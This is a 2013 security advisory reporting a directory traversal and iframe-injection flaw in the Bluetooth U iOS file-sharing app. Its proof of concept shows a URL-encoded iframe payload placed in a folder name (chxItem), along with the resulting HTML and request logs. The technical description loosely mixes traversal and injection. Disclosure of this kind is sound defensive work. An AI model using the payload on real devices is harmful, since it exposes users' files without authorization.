Full Disclosure: Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1111


Release Date:
=============
2013-10-16


Vulnerability Laboratory ID (VL-ID):
====================================
1111


Common Vulnerability Scoring System:
====================================
6.5


Product & Service Introduction:
===============================
Bluetooth U ensure both devices(iPhone&iPod&iPad) transfer files mutually, No file type restrictions.

(Copy of the Homepage: https://itunes.apple.com/de/app/bluetooth-u-share-files-photo/id526268815 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Bluetooth U v1.2.0 mobile iOS 
web-application.


Vulnerability Disclosure Timeline:
==================================
2013-10-16:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: Bluetooth U - Mobile Web Application 1.2.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A local path traversal and file include vulnerability is detected in the Bluetooth U v1.2.0  iOS mobile application 
(Apple iOS - iPad & iPhone).
The path traversal allows remote attackers to unauthorized switch or access folder to access application, device or 
system information.

The web vulnerability allows to bypass the regular path to folder generate by exploitation of the `New Folder` add 
function. Remote attackers 
can create a directory by using a manipulated second path with a frame to load. The vulnerability can be exploited by 
requesting the mobile 
application with a manipulated path (folder) value parameter. The redirect will load the wrong path value and redirects 
the user to the local 
mobile application or device system path/file. The malicious context also executes in the DelegateData on deletes too.

Exploitation of the path/directory web vulnerability requires no user interaction and non privileged mobile 
web.application user account.
Successful exploitation of the vulnerability results in the unauthorized access of remote users to local application 
path or system/device files.


Vulnerable Module(s):
                                [+] New Folder - Index

Vulnerable Parameter(s):
                                [+] chxItem & ChkItem


Proof of Concept (PoC):
=======================
The path/directory-traversl web vulnerability can be exploited by remote attackers without privileged application user 
account and also 
without user interaction. For demonstration or reproduce ...

PoC: Foldername - Index File Dir Listing (Wifi)

<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th style="padding-left:10px;"><input id="selecteAll" onclick="selectAll(this)" 
type="checkbox"></th><th>Name</th><th>Size</th><th>Modified Date</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist"><tr><td>
<input name="chxItem" 
value="%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E"
 
onclick="selChkItem(this)" type="checkbox"></td>
<td><a 
href="/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E
?guid=1520475B-0653-41FA-8072-CC31D2C5A8F2&type=child" class="file"><span style="vertical-align:middle;"><img 
src="/Folder.png" 
style="border:0;vertical-align:middle" ;=""></span><iframe src="?guid=&type=list&password=&date=Sun" oct="" 13="" 
2013="" 
17:46:15="" gmt+0200=""></a></td><td></td><td>2013-10-13 17:53:31</td><td><input name="commit" type="button" 
value="Delete" 
onclick="DelegateData('/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E'
,'1520475B-0653-41FA-8072-CC31D2C5A8F2');" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr><tr 
class="shadow">
<td><input name="chxItem" value="TEST23" onclick="selChkItem(this)" type="checkbox"></td>



--- PoC Session Logs (GET) ---
GET http://192.168.2.104:41498/%3C/BKM 
Load Flags[LOAD_DOCUMENT_URI  ] 
Content Size[0] 
Mime Type[application/x-unknown-content-type]

Request Headers:
Host[192.168.2.104:41498]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:41498/?guid=A0346D33-D3E0-40DF-BCD1-BC3A79B7F481&type=child&;
type=child&date=Sun%20Oct%2013%202013%2016:17:12%20GMT+0200&type=child&date=Sun%20Oct%2013%202013%2016:20:47%20GMT+0200]
Connection[keep-alive]

Response Headers:
Accept-Ranges[bytes]
Content-Length[0]
Date[Sun, 13 Oct 2013 14:24:08 GMT]


--- Referer Context ---
{'isSecret':0,'isSame':1,'isDelete':0,'guid':'00B36887-6D9E-4FE6-BB4F-A8E200BACC96',
'detail':'Please input password','root':0,'title':'Bluetooth U','items':[{'name':'TEST23',
'isdir':1,'id':0,'filesize':102,'modDate':'2013-10-13 16:19:09'},{'name':'TEST24','isdir':1,
'id':1,'filesize':68,'modDate':'2013-10-13 16:19:14'},{'name':'TEST25','isdir':1,'id':2,
'filesize':68,'modDate':'2013-10-13 16:19:18'},{'name':'s2.png','isdir':0,'id':3,
'filesize':53025,'modDate':'2013-10-13 16:30:57'}],'dir':'/'}

Note: root :)


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the filename user input. Encode and parse the input and filter the 
index file name dir listing to prevent executions.


Security Risk:
==============
The security risk of the path/directory traversal web vulnerability is estimated as high(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


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=========================
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                                Copyright © 2013 | Vulnerability Laboratory [Evolution Security]



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